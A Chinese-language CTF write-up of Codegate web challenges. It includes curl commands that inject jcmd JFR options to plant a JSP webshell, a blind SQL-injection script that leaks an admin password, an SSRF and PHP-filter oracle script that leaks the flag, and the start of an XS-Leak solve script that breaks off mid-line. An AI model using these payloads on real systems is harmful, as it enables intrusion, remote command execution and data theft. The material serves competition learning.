Before all 這禮拜六有時間就跳下去看了下 Codegate CTF,它是韓國辦得比賽。 解了一些有趣的 Web 題 XD (對,難得地我在一場比賽不需要算數學)
Web Juice of Apple, Vegetable, Apricot 如題目名稱所示,是一個 Java 題 重點就是有三個都長類似這樣的 API,會去把拿到的 GET 參數 pid 拼接進去 jcmd 的命令然後理論上是吃 pid 後面接上要下的 command
jcmd 是用來 debug JVM 的 cli 工具,可以對 GC, VM, Threads 等做各種操作像是 Heap dump 或設定一些 runtime 參數
不過不能直接 CMDi 因為有 Filter./src/main/java/com/javapulse/util/InputValidator.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package com.javapulse.util;import javax.servlet.http.HttpServletRequest;import java.util.Enumeration;public class InputValidator { private static final String BASH_SPECIAL = ";|&$`\\!(){}[]<>*?~^'\"" ; public static boolean containsBashSpecial (String value) { for (int i = 0 ; i < value.length(); i++) { if (BASH_SPECIAL.indexOf(value.charAt(i)) >= 0 ) return true ; } return false ; } public static boolean hasUnsafeParams (HttpServletRequest req) { Enumeration<String> paramNames = req.getParameterNames(); while (paramNames.hasMoreElements()) { String value = req.getParameter(paramNames.nextElement()); if (value != null && containsBashSpecial(value)) return true ; } return false ; } }
./src/main/java/com/javapulse/servlet/StatusServlet.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 package com.javapulse.servlet;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import com.javapulse.util.InputValidator;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.io.PrintWriter;import java.util.concurrent.TimeUnit;public class StatusServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (InputValidator.hasUnsafeParams(req)) { resp.sendError(500 ); return ; } String pid = req.getParameter("pid" ); if (pid == null || pid.isEmpty()) { resp.sendError(500 ); return ; } String cmd = "jcmd " + pid + " VM.version" ; Process p = Runtime.getRuntime().exec(cmd); try { if (!p.waitFor(3 , TimeUnit.SECONDS)) { p.destroyForcibly(); resp.sendError(500 ); return ; } } catch (InterruptedException e) { p.destroyForcibly(); Thread.currentThread().interrupt(); resp.sendError(500 ); return ; } resp.setContentType("text/plain; charset=UTF-8" ); PrintWriter out = resp.getWriter(); try (BufferedReader reader = new BufferedReader (new InputStreamReader (p.getInputStream()))) { String line; while ((line = reader.readLine()) != null ) { out.println(line); } } try (BufferedReader reader = new BufferedReader (new InputStreamReader (p.getErrorStream()))) { String line; while ((line = reader.readLine()) != null ) { out.println(line); } } } }
jcmd 可以下 jcmd <pid> help 命令知道現在可以對某個 pid 下的指令有哪些 檢查了一圈,因為最後面還會被 API 接上一個像是 VM.version 的字串值 Command,然而像是 GC.heap_dump 的選項參數都比較嚴格(還是可以構造命令但是就問像是把 memory dump 去 VM.version 這個檔案要幹嘛 XD) 所以最後是用 JFR 相關的 dump 選向來操作,JFR 主要就是 Java 用來做各種事件紀錄和回放的一系列工具,但重點是他的選項裡面包含可以幫這個 Record 定義一個 Name! 最後思路就變成開始 JFR Record => 觸發 Error 把它錄進去 JFR => JFR Dump 進去檔案拿 webshell
開始錄
1 curl "http://3.38.197.202/api/heap?pid=1%20JFR.start%20settings=none%20%2Bjdk.JavaExceptionThrow%23enabled=true%20%2Bjdk.JavaExceptionThrow%23stackTrace=false%20filename=/usr/local/tomcat/webapps/ROOT/WEB-INF/views/shell.jsp%20duration=10s%20name=pwn"
Trigger Tomcat Decode Error in URL
1 curl "http://3.38.197.202/%3C%25=new%20String(Runtime.getRuntime().exec(%22/readflag%22).getInputStream().readAllBytes())%25%3E.x"
Get Shell
1 curl "http://3.38.197.202/shell.jsp" | grep codegate
ERP system 一個 PHP 大雜燴題
首先是 PDO SQLi Trick,我們有一般 user 登入權限 可以看這邊 https://slcyber.io/research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/ 印象中去年 Downunder CTF 有出現過(?) 簡言之就是在 prepare sql query 的時候注入 ? 讓後續 query 填入變數的時候放錯位置,並且搭配前後 backtick 合併來 escape execute 函數帶入拿到 SQLi./app/src/index.php 注意看這一段,它先去把 user input 作為 column name prepare 了一個 SQL Statement,並且把 backtick 給 escape 掉
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php session_start ();if (!isset ($_SESSION ['username' ])) { header ('Location: /login.php' ); exit ; } include 'db.php' ;$colParam = $_GET ['col' ] ?? null ;$nameParam = $_GET ['name' ] ?? null ;$fixedColumns = ['full_name' , 'department' , 'position' , 'salary' , 'email' ];$selectColumns = $colParam ? '`' . str_replace ('`' , '``' , $colParam ) . '`' : 'full_name, department, position, salary, email' ; $displayColumns = $colParam ? [$colParam ] : $fixedColumns ;if ($colParam === 'salary' ) { $selectColumns = 'full_name, salary, email' ; $displayColumns = ['salary' ]; } if ($nameParam !== null && $nameParam !== '' ) { $stmt = $pdo ->prepare ("SELECT $selectColumns FROM employees WHERE full_name = ?" ); $stmt ->execute ([$nameParam ]); } else { $stmt = $pdo ->query ("SELECT $selectColumns FROM employees ORDER BY department, full_name" ); } $data = $stmt ->fetchAll (PDO::FETCH_ASSOC );$currentEmail = $_SESSION ['email' ] ?? '' ;$isAdmin = (bool )($_SESSION ['is_admin' ] ?? false );if (isset ($_GET ['download' ]) && $_GET ['download' ] === '1' ) { header ('Content-Type: text/csv' ); header ('Content-Disposition: attachment; filename="employees_export.csv"' ); foreach ($data as $row ) { $values = array_values ($row ); echo implode (',' , $values ) . PHP_EOL; } exit ; } ?>
唱出來的腳本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 import requestsimport timeurl = "http://15.165.11.35" def get_session (): s = requests.Session() try : r = s.post(f"{url} /login.php" , data={"username" : "mkim" , "password" : "erp123" }, timeout=10 ) if "ERP Dashboard" in r.text: return s except Exception as e: print (f"[-] Login error: {e} " ) return None def check (session, condition ): sleep_time = 1.5 payload_name = f"x` FROM (SELECT (SELECT IF({condition} , SLEEP({sleep_time} ), 0)) AS `'x`)y;#" params = { "col" : "\\?#\0" , "name" : payload_name } start = time.time() try : session.get(f"{url} /index.php" , params=params, timeout=4 ) except requests.exceptions.Timeout: return True except Exception: return False end = time.time() return (end - start) > (sleep_time - 0.3 ) def leak_hex_password (session ): print ("[*] Leaking admin password (HEX) using binary search..." ) hex_password = "" i = 1 query = "SELECT HEX(password) FROM users WHERE is_admin=1 LIMIT 1 OFFSET 0" while True : if not check(session, f"ORD(SUBSTR(({query} ), {i} , 1)) > 0" ): break low = 32 high = 126 char_val = 0 while low <= high: mid = (low + high) // 2 if check(session, f"ORD(SUBSTR(({query} ), {i} , 1)) > {mid} " ): low = mid + 1 else : char_val = mid high = mid - 1 if char_val == 0 : break hex_password += chr (char_val) print (f"[+] Current HEX: {hex_password} " ) i += 1 return hex_password if __name__ == "__main__" : session = get_session() if session: print ("[+] Logged in successfully." ) hex_val = leak_hex_password(session) print (f"\n[!] Final HEX Password: {hex_val} " ) try : password = bytes .fromhex(hex_val).decode() print (f"[!] Decoded Password: {password} " ) except Exception: print ("[-] Could not decode hex string to ASCII." ) else : print ("[-] Failed to login." )
OK,但是 FLAG 在哪,注意到 Dockerfile 這一段
1 bash -c 'SECRET="codegate2026{fake_flag}"; for ((i=0; i<${#SECRET}; i++)); do echo -n "${SECRET:i:1}" > /secret/secret_$i; done
emm…一個一個字元塞進去 /secret/secret_<idx>
所以要來看第二階段的 api 了
./app/src/filters.php 註冊了一些新的 PHP Filters
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 <?php class Md5HashingFilter extends php_user_filter { public function filter ($in , $out , &$consumed , $closing ): int { if (!isset ($this ->buffer)) { $this ->buffer = '' ; } while ($bucket = stream_bucket_make_writeable ($in )) { $consumed += $bucket ->datalen; $this ->buffer .= $bucket ->data; } if ($closing ) { $bucket = stream_bucket_new ($this ->stream, hash ("md5" , $this ->buffer)); stream_bucket_append ($out , $bucket ); $this ->buffer = '' ; } return PSFS_PASS_ON; } } class Sha256HashingFilter extends php_user_filter { public function filter ($in , $out , &$consumed , $closing ): int { if (!isset ($this ->buffer)) { $this ->buffer = '' ; } while ($bucket = stream_bucket_make_writeable ($in )) { $consumed += $bucket ->datalen; $this ->buffer .= $bucket ->data; } if ($closing ) { $bucket = stream_bucket_new ($this ->stream, hash ("sha256" , $this ->buffer)); stream_bucket_append ($out , $bucket ); $this ->buffer = '' ; } return PSFS_PASS_ON; } } class SensitiveDataMaskFilter extends php_user_filter { public function filter ($in , $out , &$consumed , $closing ): int { if (!isset ($this ->buffer)) { $this ->buffer = '' ; } while ($bucket = stream_bucket_make_writeable ($in )) { $consumed += $bucket ->datalen; $this ->buffer .= $bucket ->data; } if ($closing ) { $masked = preg_replace ('/[a-z0-9]+@[a-z]+\.[a-z]{2,3}/i' , '***@***.com' , $this ->buffer); $bucket = stream_bucket_new ($this ->stream, $masked ); stream_bucket_append ($out , $bucket ); $this ->buffer = '' ; } return PSFS_PASS_ON; } } class ReverseFilter extends php_user_filter { public function filter ($in , $out , &$consumed , $closing ): int { if (!isset ($this ->buffer)) { $this ->buffer = '' ; } while ($bucket = stream_bucket_make_writeable ($in )) { $consumed += $bucket ->datalen; $this ->buffer .= $bucket ->data; } if ($closing ) { $bucket = stream_bucket_new ($this ->stream, strrev ($this ->buffer)); stream_bucket_append ($out , $bucket ); $this ->buffer = '' ; } return PSFS_PASS_ON; } } class StripTagsFilter extends php_user_filter { public function filter ($in , $out , &$consumed , $closing ): int { if (!isset ($this ->buffer)) { $this ->buffer = '' ; } while ($bucket = stream_bucket_make_writeable ($in )) { $consumed += $bucket ->datalen; $this ->buffer .= $bucket ->data; } if ($closing ) { $bucket = stream_bucket_new ($this ->stream, strip_tags ($this ->buffer)); stream_bucket_append ($out , $bucket ); $this ->buffer = '' ; } return PSFS_PASS_ON; } } stream_filter_register ("hash.md5" , "Md5HashingFilter" );stream_filter_register ("hash.sha256" , "Sha256HashingFilter" );stream_filter_register ("utils.masking" , "SensitiveDataMaskFilter" );stream_filter_register ("string.reverse" , "ReverseFilter" );stream_filter_register ("string.strip_tags" , "StripTagsFilter" );?>
有個 localhost 才摸得到的 secret.php 你可以指定要用的 filters + index 來做組合讀取 /secret/secret_<idx> 並用 filters 做操作,最後會回傳該 byte 的內容 + / + index + / + 一個 random salt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php $ip = $_SERVER ['REMOTE_ADDR' ];if ($ip != '127.0.0.1' ) { die ("Error: You are not authorized to access this page!" ); } include 'filters.php' ;$filter = $_GET ['filter' ] ?? '' ;if (strlen ($filter ) > 200 ) { die ("Error: Filter length is too long!" ); } if (isset ($_GET ['index' ])) { $index = (int )$_GET ['index' ]; if (!preg_match ('/^[a-zA-Z0-9.|_-]+$/' , $filter )) { die ("Error: Invalid characters or syntax found." ); } $target = "php://filter/read=" . $filter . "/resource=" . "/secret/secret_" . $index ; $content = file_get_contents ($target ); $salt = bin2hex (random_bytes (16 )); echo "Secret: " . $content . "/" . $index . "/" . $salt ; } else { echo "Usage: ?index=0" ; }
最後是 admin 才摸得到的 hash.php,用來指定一個 http url 後取 sha256 最後輸出回來
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php session_start ();include 'filters.php' ;if (!isset ($_SESSION ['username' ])) { header ('Location: /login.php' ); exit ; } if (!$_SESSION ['is_admin' ]) { die ("Error: You are not authorized to access this page!" ); } $filter = $_GET ['filter' ] ?? '' ;$resource = $_GET ['resource' ] ?? '' ;if ($filter == '' || $resource == '' ) { die ("Usage: ?filter=filter&resource=resource" ); } if (!preg_match ('/^[a-zA-Z0-9.|_-]+$/' , $filter )) { die ("Error: Invalid characters or syntax found." ); } $parsed = parse_url ($resource );if ($parsed === false || !isset ($parsed ['scheme' ]) || !isset ($parsed ['host' ])) { die ("Error: Invalid URL format or missing scheme/host." ); } $scheme = $parsed ['scheme' ];$host = $parsed ['host' ];if (strtolower ($scheme ) !== 'http' ) { die ("Error: Only valid HTTP URLs are allowed." ); } $ip = gethostbyname ($host );if (filter_var ($ip , FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false ) { die ("Error: Access to local/private network is prohibited." ); } $target = "php://filter/read=" . $filter . "|hash.sha256" . "/resource=" . $resource ;$content = file_get_contents ($target );echo $content ;?>
首先是 bypass url 對 localhost 的限制,DNS Rebinding 蠻難 Race 出來 (DNS Cache),然後亂指其實也行不通,所以最後我是寫個簡單的 HTTP Proxy 302 回去,因為 filter 可以讀。 後面就是指回去請求 secret.php,根據新增的 filters 我最有興趣的是 string.strip_tags 和 utils.unmask,因為我們要想辦法讓 salt 最後會被轉成可預測的內容,否則在 sha256 後根本不知道該次 oracle 出來的 FLAG 字元是什麼。 最後的 exploits 是利用 string.strip_tags,所以先想辦法固定生出一個 tag 首先是 convert.base64-encode 可以把 / 固定轉成 L 再來串 convert.iconv.IBM037.UTF-8 固定會把 L 轉成 < 然後就可以剩下一開始的第一個 byte 要處理了,建表一下對照就好。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 import requestsimport urllib.parseimport subprocessimport jsonTARGET = "http://54.180.161.11/" REDIRECT_HOST = "http://45.77.20.255:15337" SECRET_FILTER = "string.reverse" HASH_FILTER = "convert.base64-encode|convert.iconv.IBM037.UTF-8|string.strip_tags" LOOKUP = { 'c7a25abbedd7ff70c1fa9967b9f550f86b402d837c88f668674481fdec671524' : ' ' , 'cfa291d1807db203e3c38f8fbccb38f653adc66eb627636ce739ebde88a0502a' : '!' , '7d83c04738fe33ab77a47fee1b107e54bfee92fcd0106f0c1bce7461a9abfba6' : '"' , 'e7fcf6917bfb35a20c9f2dc26ae8027e2be5da75dbfbb8f03f737c58ce4b93de' : '#' , 'da38408045d066eb0ea33b1371ebefe212c87637a1ac6e6cac7cba4877b99b81' : '$' , 'ea6b081c37931dae5ad0c1c70d27ac40e5ec0c40f132821cfac0c80ca06cc497' : '%' , 'fec930dcb2038ea3d1ab1a46b981d0ddaf81a8b997bceee607ae6eae2a87ca38' : '&' , '48f21de7c3b3ade9424869fea9b4dd6c19527d20385d86640a30af3460f26230' : "'" , 'def34e46f235511db10e1efacac5f32aec9c45cc65072e12bec7c4781aa9bc83' : '(' , 'a2d947eaa10c3d6e6f7ca3c40b2a49d3869fe9ced31f025814e168590d253a22' : ')' , '291fbeb713c011d18d38b874dbdb194c66efb3ae0ef006dc206f9f8256d42cc5' : '*' , 'a590ea177c90d7ca1c204f3cf0be497e1eda402c70e089cc6ada1cb911f3354f' : '+' , '56c313e315cc42c3aeee4691fc74e76596ee2d0a18734e00ffe731b5bf5d69c2' : ',' , '7732554af5a44e76711a89b35887d81651d9c197d6054e4a2e0f63db646651c2' : '-' , '8eeb5a17af2569888e0266aef6a76d3974b424005e65c4174a2915bda6d00cf5' : '.' , '90bf51703c7fcf08c49db63a5dc7ffa46ee9660d75a34ba0886609c24a4c051e' : '/' , '16443f612693011d50a8bf644dba9d85a455bad7fb773dcf8854e1e5f52b597c' : '0' , 'd1b3c9912693f8b51bba6337812560232d4799011831b1dd94332eb40c44613b' : '1' , '7c36c3f10f98f70c6ee47c2be360e4ffb8abd6e9221a2701073fee28885c11b8' : '2' , '200293f3fa0aa405e882b3dce3c42a88d083f4d00c5262199eb273b3bb9fcfe1' : '3' , '8a3f7e6188fa275fe5523deb0dc7953e24812d995c88d1ee68c82048bbe3a5eb' : '4' , 'd5d59a177700405e7386a99795c0754a6c02041dd2aa99a3162e8c64fa8d0e06' : '5' , '3d31c29f527a26b2959f1b163528c572bb62d3d8592f17fadb6dadb8780cf29e' : '6' , '9fbc04582f0ba0348db33a1e8be6ec2febe384e20d0a91fe37ebaca5513bb8d9' : '7' , '127510e3ec7f54229c1db91ca44bf82987c113394d45ef67b223a73992a3340c' : '8' , '5e38e281b52418f0c65db2f39c8e143f794a2683419d52dbea0004219da98118' : '9' , '38cafa2bb76543134eb66146666847b66a6d6658658899c154cbf933578ad58b' : ':' , 'f64f0e8013f24a572ffe7b780f5aaf8ed1481951304aaa5c7daaefba613b3d08' : ';' , '323692b78b413106c9ba0ce037ae249721bdbb00303e400a9fbbf489b8406f3e' : '<' , 'bb860b41bb7d7cbbe9e7b3bed2db535de13238ee70cb4f543dc2993c36e727fe' : '=' , '0880d5cf1f490f6c8940f45ba58ddc115037e56ac05812a4a8a2d7800ea31c15' : '>' , '0578a4a3b32579008163c24ce8815aa8bcf0d014c59a65414d2ba6f2782e1ac2' : '?' , '39e32985a581e976301f46bcde788a0999de675769783826f48c28ac93971579' : '@' , '0681b5959619ed1c233bddbe1ac97bd6d7b4e72b821fbe691f2a656d08c4f451' : 'A' , 'de1fd70f321891269f0d602195890a939626a5c1e96d9938d80ef02593731edc' : 'B' , 'fba7bb6a22675f76776ca640dd17671607955c5fb1e93828780b36dae5b19136' : 'C' , '84aa38e6def5330c9b02c00d65a7cee1b0d91c99aa420720f74d354f6f87ce5d' : 'D' , 'fd4bc40164c69a22fdad429c72c8075ccea5c9dd50e1f854910b844a19249d41' : 'E' , '30fb2b65d042f6c29563e9541bbae7793409e2e12c6cdff38d7782d553c74ae7' : 'F' , 'ab9d33b1ed8e0c612e05ad539ac1eb0fbc3a6d42f3823f801f4a23ff53d4dcc1' : 'G' , 'adb6422529100a9716d5c01dcf5d7c4e3bcb121400095cd3e91939ae40f04b31' : 'H' , '004c3cf90e4b3220a129ea074e346a86d1b6bb91ae400e19530c6cb9fd3c4a75' : 'I' , 'a5621e325043248048036bf9bdb5c7cc9a2e5716c10e57403a058bea42135589' : 'J' , '357da61683a44b443b0290c4504a9cc923b7c0802c25c3bd2e9552555547d0e9' : 'K' , 'ee1c1f32a32ac80e166aa5e74b2f8a82a2b9eee3bc4a78c70ba7b15f7f4e3532' : 'L' , 'c0048e7998a8e837930eaf7de8b0f31f1559ca5bf823fcefff06182b18debbd7' : 'M' , '0bb2b782703ad043bbc572782044e6471b823b1f26dc31c16b02c2a7fb2463d0' : 'N' , '639ed432e8ff611880fa676d7fc1868db791b58c4c86a4236c70b549e6ff8b5c' : 'O' , '4eccc1db0307a645a4c56754669a4e87be51ece7082f9915ccce361cc66fd673' : 'P' , '3a852eada67f9839453d8022da86420e76a64b4253c2d1d8a30ed643ab5fc73f' : 'Q' , '067dfa4ee2954daf5080a07de13b95fab9bdffbe57351fcf189eb7eec4b4f470' : 'R' , 'd81ccfc9bcc6e35871da6a54462a6becc17fd66f6debc1f67d55d2e407c10da1' : 'S' , '0296fa0d197bb857fbf4a50ed6b89f88a89670e74fd20a25b3689d1511a95e18' : 'T' , '0212aea16010a609a7a196c8271886ffed16ba44c7bc04af913eec33477bebe0' : 'U' , '0432abbb74767aea19f09f01fbc630f22b46201273a70b853d648e22d0a5a921' : 'V' , '99644d2c42eeda7d310c40bf92f86eb7d5aca7f47c195307fad3cbcd002cad3e' : 'W' , 'ae2f255925047bd2b0d9ba5962bbfba9f5987f6d4a318d3849142be118fdcb7c' : 'X' , 'e5c2f3bd69170f09e2de8526f2d620edcb9e5df97af4fdce933a48c03d49fc43' : 'Y' , '43dcd6c8c059560d2dc4d29d766b4281bc6790fe1efc2e172b0d530a975bb360' : 'Z' , '85d13aebd50d1912103600f06e2aaabfa156aee1f6144f318e7b535409e00925' : '[' , 'b6a9422d4923fc22537fef0cc7709eaa8dd1fa4b47ece310c6cbd57428f53079' : '\\' , 'a0e652f6495005667c7deb50ed98332f8a91c1455455836f90ce86bea968d355' : ']' , '2d165a0b66a4cdc45a976e88a8a9021a50ac226205e013161823c4c4d4eba974' : '^' , '736a6893b5a9429951cdb8a9f7a21fc5f2b968e75134a0572317ea6f9f9f461e' : '_' , '72f77543f8ca01cb273fa7a9d0ffc66ee54c2aab69e16d665de742bba8e4ac35' : '`' , '10506572c37a0d2fdd6886f8efcf83cd8f813631f427289c9b199e92893017ef' : 'a' , 'b8909ace99212c22579937a70da428d4039801a8b720eb7fdb7a215a3c72d135' : 'b' , 'b837271b72a140ecff684bebc14837e8deb000c01506b50053cf38f27e28cfd3' : 'c' , 'dd59202ec83d46bd25e94d0e2b08c228fb9361fa12b92b02414f0a8cc90cadb2' : 'd' , '6c277fbc62397390377202ca665b5cdf82dd8920d754f2c5ff9528f8096ea6af' : 'e' , 'dbeabb1c2232e1b2f6cf50b16e3b22eac29657e0c5058fa01018a3eb5a88be9d' : 'f' , '9092989ed8bf6774970b8e6f5918381f1f2d500506301031d332ca34e4d02895' : 'g' , 'bcc10614eea4fdec6348d873eb53dc72950b4ff7ccf86dc3d2e96d1b16468eb2' : 'h' , 'a09afa29e1632af11a2739ca1d52891686cca77cb98a5aa50a3290a7c001008a' : 'i' , '1b90f46f74c8a7e145bc9fecaa3e4ee256ef0bb06e65ea34559e62e716efa407' : 'j' , '3b40961108cb8fee5c66c0ea9ddddb0dbd945e5177712bddb65094c225cb6479' : 'k' , '95149ecf8db92584b21074728dcbb27c6859f74a5e5a7c6873e2132607d0e036' : 'l' , '8970bf80a018a8aee4b1dad3da276a2f9a5ebc54e08bf69585de54f1039f1c5b' : 'm' , '3c65aae208712e0878d706120091c9e0973d57b51a49ec371bb86e37b29902b2' : 'n' , '00e8f0c19192dfb761ff116ef80e3a9a5b9368e35568cc635c175d8d6c9d8525' : 'o' , '389728c0c4b9ba6508287b9159bbce13181b91053226f92d4f6d19b8334584a9' : 'p' , 'bc9749688839bbd91cf867397e6870e589811ec1f02e5f718251d021b9e5afa9' : 'q' , '689581954a870ce38454433d8c85448cb12a96b391c2fe1e8a4b3858507deb20' : 'r' , '1e9bcb45574a2aad280f597e8119ad1c36efb38dfc7d4b1d5f65be4f1ac38531' : 's' , '153b9290da5b2a9b27ca7f362a8db6135523c6d84851772e28119e0269ba7e90' : 't' , '9ea758a1242a82372276d0341342ccac3be3e16f039412acf5bf1a97ef536796' : 'u' , '1505db3268d4dc9dc80d8aa0428db9c75d12a6af662a596cabab5d68486c5d19' : 'v' , 'de10f82b72a1d97b9610c089a97692ceb4d5e8426ebaba241b1e3ede2113ed89' : 'w' , 'f910f60728bf8d4c001e2a294230ad447a66fea5a144f0edf79a732c0932aca2' : 'x' , '9022a7604837e4073a155a79e1665c04e94eca4522936c0e0fe596efcc3401e6' : 'y' , '7070602a17b6d3feeb629e1192815111b6ba08813dfd79c3cd52847b17fae394' : 'z' , '11b25ec6a95e79de23836af1ec6e629ab22a7788d771e2c44e30200d3f8e029a' : '{' , 'eb02ad3ee9a3d9b35716578ed380123f99c28125e7d3f71e0fb416dd454b5fe5' : '|' , '4213f6a010400354866dfce5ba78cc2c834c2da9ffc6c51109d346f35f13ec09' : '}' , '6d556e7ad18a4de3a357c55699c1df0fa791e365379fb6b2d85fb2500255c4ac' : '~' , } def main (): session = requests.Session() resp = session.post(f"{TARGET} /login.php" , data={ 'username' : 'admin' , 'password' : '2789710996eb17aacbbc93d8414fc7f57fbdf8dbe61c4e9b73aa72c06aa76936' }, allow_redirects=False ) print (f"Login: {resp.status_code} " ) flag = "" consecutive_fails = 0 for idx in range (100 ): inner_url = f"{REDIRECT_HOST} /secret.php?index={idx} &filter={SECRET_FILTER} " resp = session.get(f"{TARGET} /hash.php" , params={ 'filter' : HASH_FILTER, 'resource' : inner_url }) hash_val = resp.text.strip() if hash_val in LOOKUP: char = LOOKUP[hash_val] flag += char consecutive_fails = 0 print (f"[{idx:3d} ] hash={hash_val[:16 ]} ... -> '{char} ' flag so far: {flag} " ) else : consecutive_fails += 1 print (f"[{idx:3d} ] hash={hash_val[:32 ]} ... -> UNKNOWN" ) if consecutive_fails >= 3 : print ("3 consecutive unknowns, stopping." ) break print (f"\n{'=' *60 } " ) print (f"FLAG: {flag} " ) print (f"{'=' *60 } " ) if __name__ == "__main__" : main()
Memo XSLeak 題目,codebase 有點大但架構是 NGINX + TypeScript,反正就是
main.ts 有 CSP 1 2 3 4 5 6 7 8 9 contentSecurityPolicy : { directives : { defaultSrc : ["'self'" ], frameAncestors : [`*` ], objectSrc : [`'none'` ], connectSrc : ["'self'" ], baseUri : [`'self'` ], }, }
DOMPurify Allow Tags 1 2 3 4 5 6 7 8 9 10 11 12 13 const renderMemo = (data ) => { const option = { ALLOWED_TAGS : [ 'b' , 'strong' , 'i' , 'em' , 'u' , 's' , 'del' , 'p' , 'br' , 'ul' , 'ol' , 'li' , 'span' , 'img' ], }; const sanitizedTitle = DOMPurify .sanitize (data.title , option); const sanitizedContent = DOMPurify .sanitize (data.content , option); title.innerHTML = sanitizedTitle; content.innerHTML = sanitizedContent; };
Flag 在某張 png 上(路徑未知),Admin 和 Normal User 瀏覽的 API 不太一樣
./app/src/api/image/image.service.ts
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import { Injectable } from '@nestjs/common' ;import { existsSync, readdirSync } from 'fs' ;import { join, resolve } from 'path' ;@Injectable ()export class ImageService { private getImageDir (): string { return join (__dirname, '..' , '..' , 'images' ); } private resolveSafePath (filename : string ): string | null { const baseDir = resolve (this .getImageDir ()); const resolvedPath = resolve (baseDir, filename); if (!resolvedPath.startsWith (baseDir + '/' )) return null ; return resolvedPath; } getImagePath (filename : string ): string | null { const imagePath = this .resolveSafePath (filename); if (!imagePath || !existsSync (imagePath)) return null ; return imagePath; } getAdminImagePath (filename : string ): string | null { const imagePath = this .resolveSafePath (filename); if (imagePath && existsSync (imagePath)) return imagePath; const files = readdirSync (this .getImageDir ()); const matched = files.find (file => file.startsWith (filename)); if (!matched) return null ; return this .resolveSafePath (matched); }
注意到 admin 可以有前餟搜尋 4. 使用者可以新增 memo (過 DOMPurify),每個 memo 被打開到最後都會去 fetch 某個 API,我們會可以看到瀏覽次數。 5. 有個 Admin bot 可以交 URL,timeout 20 secs
在戳這題的時候我發現到當 image API 回傳 null 的時候會 504 timeout … 又因為 bot 的 browser 有 timeout,是不是代表可以做 Connection Pool 的 Trick …? 答案是 NGINX 有更小的 socket size 128 lol 那後續就是讓他 load 127 張會 timeout 的圖片 + 當次要猜測的,如果都有 load 成功那後續就會繼續執行 web 的 js 去 POST API 統計次數,不然就不會,以這個為 oracle 去 char by char leak 路徑出來。
solve.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 import requestsimport timeimport sysimport urllib3urllib3.disable_warnings() TARGET = "https://3.38.199.85" BOT_URL = "http://3.38.199.85:5000" BOT_TARGET = "https://nginx" NUM_BLOCKING = 127 BOT_WAIT = 30 HEX_CHARS = "0123456789abcdef" user_counter = [int (time.time()) % 10000 ] def new_session (): """Create a fresh session with a new user to avoid memo list bloat.""" ss = requests.Session() ss.verify = False user = f"xhex_{user_counter[0 ]} " user_counter[0 ] += 1 ss.post(f"{TARGET} /api/auth/register" , json={ "username" : user, "password" : "pass123" , "name" : "s" }) ss.post(f"{TARGET} /api/auth/login" , json={ "username" : user, "password" : "pass123" }) return ss def test_batch (prefix, chars ): """Test all chars in one batch. Returns matching char or None.""" ss = new_session() candidates = [] for idx, ch in enumerate (chars): candidate = prefix + ch parts = [] for i in range (NUM_BLOCKING): parts.append(f'<img src="/api/image?filename=h{idx} _{i:04d} _x.png">' ) parts.append(f'<img src="/api/image/admin?filename={candidate} ">' ) content = "" .join(parts) title = f"h{idx} _{int (time.time()*1000 )%999999 } " ss.post(f"{TARGET} /api/memo" , json={"title" : title, "content" : content}) memos = ss.get(f"{TARGET} /api/memo" ).json().get("data" , []) memo = next ((m for m in memos if m["title" ] == title), 